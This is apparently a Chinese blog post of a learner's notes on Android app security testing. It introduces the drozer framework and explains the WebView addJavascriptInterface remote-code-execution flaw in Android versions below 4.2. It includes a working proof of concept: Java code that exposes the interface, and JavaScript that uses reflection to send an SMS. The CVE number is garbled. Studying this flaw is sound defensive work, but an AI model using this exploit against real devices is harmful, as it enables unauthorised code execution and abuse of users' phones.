Android 学习第三天 app测试

要开始为公司干活了 学习app的测试

先入手的一个自动化测试app的框架 Dozer

drozer是一款针对Android系统的安全测试框架。drozer可以帮助Android app和设备变得更安全,其提供了很多Android平台下的渗透测试exploit供你使用和分享。对于远程的exploit,它可以生成shellcode帮助你进行远程设备管理。

http://www.freebuf.com/articles/terminal/98722.html

这个里面的一个工具 已经下载下来了 而且可以运行 可以看着学习一下

如果端口被占用 可以这样来处理

一个例子

常见的安卓漏洞

1.WebView 远程代码执行漏洞

Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA接口。该漏洞最早公布于CVE-2012-66361】,其描述了WebView中addJavascriptInterface API导致的远程代码执行安全漏洞。
  1. WebView 远程代码执行影响范围

Android API level 小于17 (即Android 4.2之前的系统版本)

3.漏洞触发前提条件:

WebView没有禁止使用file域;
WebView打开了对JavaScript的支持;

1) WebView 远程代码执行漏洞位置:

WebView.addJavascriptInterface(Object obj, String interfaceName)

2)WebView 远程代码执行漏洞触发前提条件:

使用addJavascriptInterface方法注册可供JavaScript调用的Java对象;
使用WebView加载外部网页或者本地网页;
Android系统版本低于4.2;

3) WebView 远程代码执行漏洞原理:

Android系统通过WebView.addJavascriptInterface方法注册可供JavaScript调用的Java对象,以用于增强JavaScript的功能。但是系统并没有对注册Java类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何Java类,最终导致JavaScript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。

执行poc

1) 利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API sendTextMessage来发送短信。
java代码:

mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl("file:///android_asset/www/index.html");

EXP的JavaScript代码:

<html>
   <body>
      <script>
         var objSmsManager =     injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
          objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
       </script>
   </body>
</html>

原文链接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值